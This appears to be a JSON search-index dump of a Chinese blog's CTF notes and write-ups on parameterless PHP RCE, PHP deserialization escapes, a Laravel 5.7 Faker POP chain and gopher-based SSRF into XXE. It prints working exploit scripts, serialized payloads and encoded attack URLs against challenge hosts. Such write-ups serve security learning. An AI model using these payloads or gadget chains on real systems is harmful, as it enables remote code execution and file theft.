","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:3:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"getallheaders()\u0026apache_request_headers() getallheaders()是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用 接下来利用方式就多了,任何header头部都可利用: 我们可以使用: ?code=eval(pos(getallheaders())); //header Leon: phpinfo(); 因为我这里Leon: phpinfo();排在第一位,所以直接用pos(current的别名)取第一个数组的值 当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数: 根据位置的不同,可以结合前文,构造获取不同位置的数组 除了可以获得headers,PHP有个函数可以获得所有PHP变量: ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:3:1","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"get_defined_vars() 该函数会返回全局变量的值,如get、post、cookie、file数据 这里要注意,leon=\u003ephpinfo();在_GET数组中,所以需要使用两次取数组值: 第一次: 第二次: 所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了 ?leon=phpinfo();\u0026code=eval(pos(pos(get_defined_vars()))); 如何利用file变量进行rce呢? import requests files = { \"system('whoami');\": \"\" } #data = { #\"code\":\"eval(pos(pos(end(get_defined_vars()))));\" #} r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files) print(r.content.decode(\"utf-8\", \"ignore\")) 这里要注意的是,file数组在最后一个,需要end定位,因为payload直接放在文件的名称上,再pos两次定位获得文件名 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:3:2","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"session_id() session_id(): 可以用来获取/设置 当前会话 ID。 session需要使用session_start()开启,然后返回参数给session_id() 但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号) 但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可 eval(hex2bin(session_id(session_start()))); \u003e\u003e\u003e print'phpinfo();'.encode('hex') 706870696e666f28293b Cookie: PHPSESSID=706870696e666f28293b ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:3:3","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"getenv() getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数) 所以该函数只适用于PHP7.1之后版本,否则会出现:Warning: getenv() expects exactly 1 parameter, 0 given in ...报错 getenv() 可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的php.ini中,variables_order值为:GPCS 也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER,没有定义Environment(E),你可以修改php.ini文件的 variables_order值为你想要的顺序,如:\"EGPCS\"。这时,$_ENV的值就可以取得了 我们来看修改后的值:(环境不同,环境变量显示也不同) 对此我们可以加以利用,方法同上文: ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:3:4","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"小结 无参数RCE和文件读取实际情况下会存在许多过滤,需要自己结合以上方法绕过,主要还是考察对PHP函数的熟练程度 ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:4:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Notes"],"content":"参考 PHP Parametric Function RCE ","date":"2020-07-07","objectID":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/:5:0","tags":["RCE"],"title":"PHP无参数读文件和RCE","uri":"/php%E6%97%A0%E5%8F%82%E6%95%B0%E8%AF%BB%E6%96%87%E4%BB%B6%E5%92%8Crce/"},{"categories":["Writeup"],"content":"DASCTF6月赛的一题,看了一下,是遇到过多次的反序列化字符串逃逸,随便写一下 主要源码: \u003c?php function add($data) { $data = str_replace(chr(0).'*'.chr(0), '\\0*\\0', $data); return $data; } function reduce($data) { $data = str_replace('\\0*\\0', chr(0).'*'.chr(0), $data);//5-\u003e3 return $data; } function check($data) { if(stristr($data, 'c2e38')!==False){ die('exit'); } } class User{ protected $username; protected $password; protected $admin; public function __construct($username, $password){ $this-\u003eusername = $username; $this-\u003epassword = $password; $this-\u003eadmin = 0; } public function get_admin(){ return $this-\u003eadmin; } } class Hacker_A{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function __destruct() { if(stristr($this-\u003ec2e38, \"admin\")===False){ echo(\"must be admin\"); }else{ echo(\"good luck\"); } } } class Hacker_B{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function get_c2e38(){ return $this-\u003ec2e38; } public function __toString(){ $tmp = $this-\u003eget_c2e38(); $tmp(); return 'test'; } } class Hacker_C{ public $name = 'test'; public function __invoke(){ var_dump(system('cat /flag')); } } $username = \"\"; $password = \"\"; $user = new User($username, $password); $s = add(serialize($user)); check(reduce($s)); $tmp = unserialize(reduce($s)); pop链:username和password会进行序列化并反序列化,实例化Hacker_A类同时初始化为Hacker_B类,stristr($this-\u003ec2e38, \"admin\")===False会将Hacker_B当做字符串调用,触发Hacker_B的__toString方法,继续将Hacker_B类初始化为Hacker_C类,$tmp();会将Hacker_C当做函数调用,触发Hacker_C的__invoke方法,然后拿到flag poc: \u003c?php class User{ protected $username; protected $password; protected $admin; public function __construct($username, $password){ $this-\u003eusername = $username; $this-\u003epassword = $password; $this-\u003eadmin = 0; } public function get_admin(){ return $this-\u003eadmin; } } class Hacker_A{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function __destruct() { if(stristr($this-\u003ec2e38, \"admin\")===False){ echo(\"must be admin\"); }else{ echo(\"good luck\"); } } } class Hacker_B{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function get_c2e38(){ return $this-\u003ec2e38; } public function __toString(){ $tmp = $this-\u003eget_c2e38(); $tmp(); return 'test'; } } class Hacker_C{ public $name = 'test'; public function __invoke(){ var_dump(system('cat /flag')); } } $a = new Hacker_A(new Hacker_B(new Hacker_C)); $p = serialize($a); var_dump($p); 然后构造逃逸:之前的文章 验证poc: \u003c?php function add($data) { $data = str_replace(chr(0).'*'.chr(0), '\\0*\\0', $data); return $data; } function reduce($data) { $data = str_replace('\\0*\\0', chr(0).'*'.chr(0), $data);//5-\u003e3 return $data; } function check($data) { if(stristr($data, 'c2e38')!==False){ die('exit'); } } class User{ protected $username; protected $password; protected $admin; public function __construct($username, $password){ $this-\u003eusername = $username; $this-\u003epassword = $password; $this-\u003eadmin = 0; } public function get_admin(){ return $this-\u003eadmin; } } class Hacker_A{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function __destruct() { if(stristr($this-\u003ec2e38, \"admin\")===False){ echo(\"must be admin\"); }else{ echo(\"good luck\"); } } } class Hacker_B{ public $c2e38; public function __construct($c2e38){ $this-\u003ec2e38 = $c2e38; } public function get_c2e38(){ return $this-\u003ec2e38; } public function __toString(){ $tmp = $this-\u003eget_c2e38(); $tmp(); return 'test'; } } class Hacker_C{ public $name = 'test'; public function __invoke(){ var_dump(system('cat /flag')); } } $username = \"\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\\0*\\0\"; $password = '\";s:11:\"\\0*\\0password\";O:8:\"Hacker_A\":1:{s:5:\"c2e38\";O:8:\"Hacker_B\":1:{s:5:\"c2e38\";O:8:\"Hacker_C\":1:{s:4:\"name\";s:4:\"test\";}}};s:8:\"\\0*\\0admin\";i:0;'; $user = new User($username, $password); $s = add(serialize($user)); var_dump($s); check(reduce($s)); $tmp = unserialize(reduce($s)); var_dump(reduce($s)); //\\63\\32\\65\\33\\38 == c2e38 //payload = \";s:11:\"\\0*\\0password\";O:8:\"Hacker","date":"2020-06-27","objectID":"/%E5%8F%88%E8%A7%81%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%83%E9%80%B8phpuns-writeup/:0:0","tags":["unserialize"],"title":"又见反序列化逃逸(phpuns) Writeup","uri":"/%E5%8F%88%E8%A7%81%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%83%E9%80%B8phpuns-writeup/"},{"categories":["Writeup"],"content":"第一次跟php代码,在学长的提示下找到了利用点,记一下审计过程 ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:0:0","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"hate-php 源码: \u003c?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\\.|p|h|\\/|;|\\\"|\\'|\\`|\\||\\[|\\]|\\_|=)/i',$code)) { die('You are too good for me'); } $blacklist = get_defined_functions()['internal']; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } } assert($code); } 可以看到过滤了一些单个字符和所有的php内置函数 只要绕过正则匹配就好 可以用异或或者取反构造shell,这里用取反: \u003c?php echo urlencode(~\"system\"); echo \"\u003cbr\u003e\"; echo urlencode(~\"cat *\"); //echo ~(urldecode(\"%8D%9A%9E%9B%99%96%93%9A\")); ?\u003e 构造一下: http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5)) ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:1:0","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"laravel ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:2:0","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"确定版本: 在vendor\\laravel\\framework\\src\\Illuminate\\Foundation\\Application.php32行看到5.7.28版本,这个版本存在反序列化漏洞 然后利用搜索引擎找到了一堆复现 但是一跟进,发现PendingCommand.php中析构函数删掉了掉用run() ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:2:1","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"寻找可用poc链 只能另辟蹊径,找到这篇文章:2018护网杯easy_laravel getshell 继续尝试跟进,看能不能利用这个链,发现vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php里的析构函数也被ban了:(嘤嘤嘤) 但是析构函数多的是,这个没了换一个就是了,主要是之前没法调用run()执行命令,看下这个链里的Generator类相关的执行命令函数且有没有被ban: 在vendor/fzaninotto/faker/src/Faker/Generator.php里,发现function format($formatter, $arguments = array())调用了call_user_func_array(),如果它的输入能被控制,就能执行命令 继续跟进: Generator.php源码: \u003c?php namespace Faker; class Generator { protected $providers = array(); protected $formatters = array(); public function addProvider($provider) { array_unshift($this-\u003eproviders, $provider); } public function getProviders() { return $this-\u003eproviders; } public function seed($seed = null) { if ($seed === null) { mt_srand(); } else { if (PHP_VERSION_ID \u003c 70100) { mt_srand((int) $seed); } else { mt_srand((int) $seed, MT_RAND_PHP); } } } public function format($formatter, $arguments = array()) { return call_user_func_array($this-\u003egetFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this-\u003eformatters[$formatter])) { return $this-\u003eformatters[$formatter]; } foreach ($this-\u003eproviders as $provider) { if (method_exists($provider, $formatter)) { $this-\u003eformatters[$formatter] = array($provider, $formatter); return $this-\u003eformatters[$formatter]; } } throw new \\InvalidArgumentException(sprintf('Unknown formatter \"%s\"', $formatter)); } public function parse($string) { return preg_replace_callback('/\\{\\{\\s?(\\w+)\\s?\\}\\}/u', array($this, 'callFormatWithMatches'), $string); } protected function callFormatWithMatches($matches) { return $this-\u003eformat($matches[1]); } public function __get($attribute) { return $this-\u003eformat($attribute); } public function __call($method, $attributes) { return $this-\u003eformat($method, $attributes); } } 在277行发现魔术方法__call()调用了format() 我们知道当调用一个不存在的方法时会自动调用__call(),并且这里__call()调用了format()且参数可控,就可以执行命令了 接下来寻找合适的类完成它的触发: 在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中找到合适的析构函数: 源码: \u003c?php namespace Symfony\\Component\\Routing\\Loader\\Configurator; use Symfony\\Component\\Routing\\Route; use Symfony\\Component\\Routing\\RouteCollection; class ImportConfigurator { use Traits\\RouteTrait; private $parent; public function __construct(RouteCollection $parent, RouteCollection $route) { $this-\u003eparent = $parent; $this-\u003eroute = $route; } public function __destruct() { $this-\u003eparent-\u003eaddCollection($this-\u003eroute); } final public function prefix($prefix, bool $trailingSlashOnRoot = true) { if (!\\is_array($prefix)) { $this-\u003eroute-\u003eaddPrefix($prefix); if (!$trailingSlashOnRoot) { $rootPath = (new Route(trim(trim($prefix), '/').'/'))-\u003egetPath(); foreach ($this-\u003eroute-\u003eall() as $route) { if ($route-\u003egetPath() === $rootPath) { $route-\u003esetPath(rtrim($rootPath, '/')); } } } } else { foreach ($prefix as $locale =\u003e $localePrefix) { $prefix[$locale] = trim(trim($localePrefix), '/'); } foreach ($this-\u003eroute-\u003eall() as $name =\u003e $route) { if (null === $locale = $route-\u003egetDefault('_locale')) { $this-\u003eroute-\u003eremove($name); foreach ($prefix as $locale =\u003e $localePrefix) { $localizedRoute = clone $route; $localizedRoute-\u003esetDefault('_locale', $locale); $localizedRoute-\u003esetDefault('_canonical_route', $name); $localizedRoute-\u003esetPath($localePrefix.(!$trailingSlashOnRoot \u0026\u0026 '/' === $route-\u003egetPath() ? '' : $route-\u003egetPath())); $this-\u003eroute-\u003eadd($name.'.'.$locale, $localizedRoute); } } elseif (!isset($prefix[$locale])) { throw new \\InvalidArgumentException(sprintf('Route \"%s\" with locale \"%s\" is missing a corresponding prefix in its parent collection.', $name, $locale)); } else { $route-\u003esetPath($prefix[$locale].(!$trailingSlashOnRoot \u0026\u0026 '/' === $route-\u003egetPath() ? '' : $route-\u003egetPath())); $this-\u003eroute-\u003eadd($name, $route); } } } return $this; } final public function namePrefix(string $namePrefix) { $this-\u003eroute-\u003eaddNamePrefix($namePrefix); return $this; } } 这里析构函数调用了addCollection方法 ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:2:2","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"pop链构造 我们还知道,当__destruct销毁对象的时候会自动调用该方法,而调用一个不存在的方法时会自动调用__call(),所以现在pop链就清楚了,先创建一个Generator实例,然后将其赋值给ImportConfigurator的$parent。当ImportConfigurator自动销毁时会调用Generator的addCollection方法,但是addCollection方法在Generator中不存在,所以自动调用Generator中的__call()方法,而__call()方法调用了format方法,format里面的两个参数都可控,这样就可以RCE了。 poc: \u003c?php namespace Symfony\\Component\\Routing\\Loader\\Configurator { class ImportConfigurator{ private $parent; private $route; public function __construct( $parent, $route) { $this-\u003eparent = $parent; $this-\u003eroute = $route; } public function __destruct() { $this-\u003eparent-\u003eaddCollection($this-\u003eroute); } } } namespace Faker{ class Generator { protected $formatters; function __construct($forma){ $this-\u003eformatters = $forma; } public function format($formatter, $arguments = array()) { return call_user_func_array($this-\u003egetFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this-\u003eformatters[$formatter])) { return $this-\u003eformatters[$formatter]; } } public function __call($method, $attributes) { return $this-\u003eformat($method, $attributes); } } } namespace{ $fs = array(\"addCollection\"=\u003e\"system\"); $gen = new Faker\\Generator($fs); $pb = new Symfony\\Component\\Routing\\Loader\\Configurator\\ImportConfigurator($gen,\"bash -c 'cat /flag'\"); echo(urlencode(serialize($pb))); } payload: O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D 反序列化点直接全局搜索unserialize,发现/index路由: GET传值参数为p,拿到flag ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:2:3","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"do you know 这题很让人无语 index.php: \u003c?php highlight_file(__FILE__); #本题无法访问外网 #这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了 #各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好 #there is xxe.php $poc=$_SERVER['QUERY_STRING']; if(preg_match(\"/log|flag|hist|dict|etc|file|write/i\" ,$poc)){ die(\"no hacker\"); } $ids=explode('\u0026',$poc); $a_key=explode('=',$ids[0])[0]; $b_key=explode('=',$ids[1])[0]; $a_value=explode('=',$ids[0])[1]; $b_value=explode('=',$ids[1])[1]; if(!$a_key||!$b_key||!$a_value||!$b_value) { die('我什么都没有~'); } if($a_key==$b_key) { die(\"trick\"); } if($a_value!==$b_value) { if(count($_GET)!=1) { die('be it so'); } } foreach($_GET as $key=\u003e$value) { $url=$value; } $ch = curl_init(); if ($type != 'file') { #add_debug_log($param, 'post_data'); // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 30); } else { // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 180); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // 设置header if ($type == 'file') { $header[] = \"content-type: multipart/form-data; charset=UTF-8\"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } elseif ($type == 'xml') { curl_setopt($ch, CURLOPT_HEADER, false); } elseif ($has_json) { $header[] = \"content-type: application/json; charset=UTF-8\"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); // dump($param); curl_setopt($ch, CURLOPT_POSTFIELDS, $param); // 要求结果为字符串且输出到屏幕上 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 使用证书:cert 与 key 分别属于两个.pem文件 $res = curl_exec($ch); var_dump($res); 读完源码,可以知道前两个QUERY_STRING要键名不同值相同,然后会获取最后一个值作为url,然后使用php的curl模块进行访问 看到提示xxe.php 先访问xxe.php,源码: \u003c?php highlight_file(__FILE__); #这题和命令执行无关,请勿尝试 #there is main.php and hints.php if($_SERVER[\"REMOTE_ADDR\"] !== \"127.0.0.1\"){ die('show me your identify'); } libxml_disable_entity_loader(false); $data = isset($_POST['data'])?trim($_POST['data']):''; $data = preg_replace(\"/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i\",'',$data); $resp = ''; if($data != false){ $dom = new DOMDocument(); $dom-\u003eloadXML($data, LIBXML_NOENT); ob_start(); var_dump($dom); $resp = ob_get_contents(); ob_end_clean(); } ?\u003e\u003cstyle\u003e div.main{ width:90%; max-width:50em; margin:0 auto; } textarea{ width:100%; height:10em; } input[type=\"submit\"]{ margin: 1em 0; } \u003c/style\u003e \u003cdiv class=\"main\"\u003e \u003cform action=\"\" method=\"POST\"\u003e \u003ctextarea name=\"data\"\u003e \u003c?php echo ($data!=false)?htmlspecialchars($data):htmlspecialchars(''); ?\u003e \u003c/textarea\u003e\u003cbr/\u003e \u003cinput style=\"\" type=\"submit\" value=\"submit\"/\u003e \u003ca target=\"_blank\" href=\"\u003c?php echo basename(__FILE__).'?s';?\u003e\"\u003eView Source Code\u003c/a\u003e \u003c/form\u003e \u003cpre\u003e \u003c?php echo htmlspecialchars($resp);?\u003e \u003c/pre\u003e \u003c/div\u003e 就是一个简单的无过滤的xxe,需要post传值,并且只能本地访问 想到Gopher协议 ","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:3:0","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 Writeup","uri":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/"},{"categories":["Writeup"],"content":"Gopher的构造 由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色 基本协议格式:URL:gopher://\u003chost\u003e:\u003cport\u003e/\u003cgopher-path\u003e_后接TCP数据流 几个注意点: gopher协议没有默认端口,所以需要指定web端口 回车换行使用%0d%0a 如果多个参数,参数之间的\u0026也需要进行URL编码 结尾也得使用%0d%0a作为数据包截止的标志 实际测试以及阅读文章中发现gopher存在以下几点问题 PHP的curl默认不跟随302跳转 curl7.43gopher协议存在%00截断的BUG,v7.45以上可用 file_get_contents()的SSRF,gopher协议不能使用URLencode file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败 GET GET的HTTP包: GET /get.php?name=leon HTTP/1.1 Host: 127.0.0.1 构造后: gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A POST 必须的头部: Host Content-Type Content-Length 需要post的数据 POST的HTTP包: POST /post.php HTTP/1.1 host:127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:9 name=leon 构造后: gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A 然后来看本题: 需要用gopher协议向xxe.phppostxxepayload 测试过程中发现,直接向http://121.36.64.91/?a=leon\u0026b=leon\u0026c=http://127.0.0.1/xxe.phppostpayload时抓包: 可以发现data是被urlencode过的,所以gopher构造时,data也应该是urlencode过的,因为这里是打ssrf,浏览器会解码一次,curl会再解码一次,所以需要构造的gopher数据进行二次编码: 构造的gopher: POST /xxe.php HTTP/1.1 Host: 121.36.64.91 Content-Type: application/x-www-form-urlencoded Content-Length: 225 Upgrade-Insecure-Requests: 1 data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E 二次编码后:(记得换行符替换) POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A payload: http://121.36.64.91/?a=leon\u0026b=leon\u0026c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A 到这里根据提示读main.php和hints.php: \u003c?php class A { public $object; public $method; public $variable; function __destruct() { $o = $this-\u003eobject; $m = $this-\u003emethod; $v = $this-\u003evariable; $o-\u003e$m(); global $$v; $answer = file_get_contents('flag.php'); ob_end_clean(); } } class B { function read() { ob_start(); global $answer; echo $answer; } } if($_SERVER[\"REMOTE_ADDR\"] !== \"127.0.0.1\"){ die('show me your identify'); } if (isset($_GET[''])) { unserialize($_GET[''])-\u003eCaptureTheFlag(); } else { die('you do not pass the misc'); } hints.php就不放了,太智障了 槽点1:$_GET['']乍一看啥都没有,直接复制丢进url栏一看,发现是不可见字符%E2%80%AC,然后hints.php起初不知道是用来干嘛的,反序列化搞完了发现ob_start()开启了无法输出内容,还以为hints.php是用来提示什么,后来caoyi小哥哥提示我两个数md5不同我才发现原来是用来提示 %E2%80%AC的。。。。??? 槽点2:到现在做完了还不知道预期到底是啥,如果预期是利用$poc=$_SERVER['QUERY_STRING'];的特性,将flag等被过滤的关键词用url编码绕过,那么直接在index.php用file协议就可以读到flag.php: http://121.36.64.91/?a=leon\u0026b=leon\u0026leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70 那我还需要到xxe.php去用gopher协议打xxe读flag.php? 两个地方都是要url编码绕过关键词 如果预期是main.php绕过ob_start()进行输出,","date":"2020-06-25","objectID":"/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E6%99%BA%E8%83%BD%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B2020-writeup/:3:1","tags":["unserialize"],"title":"“第五空间”智能安全大赛2020 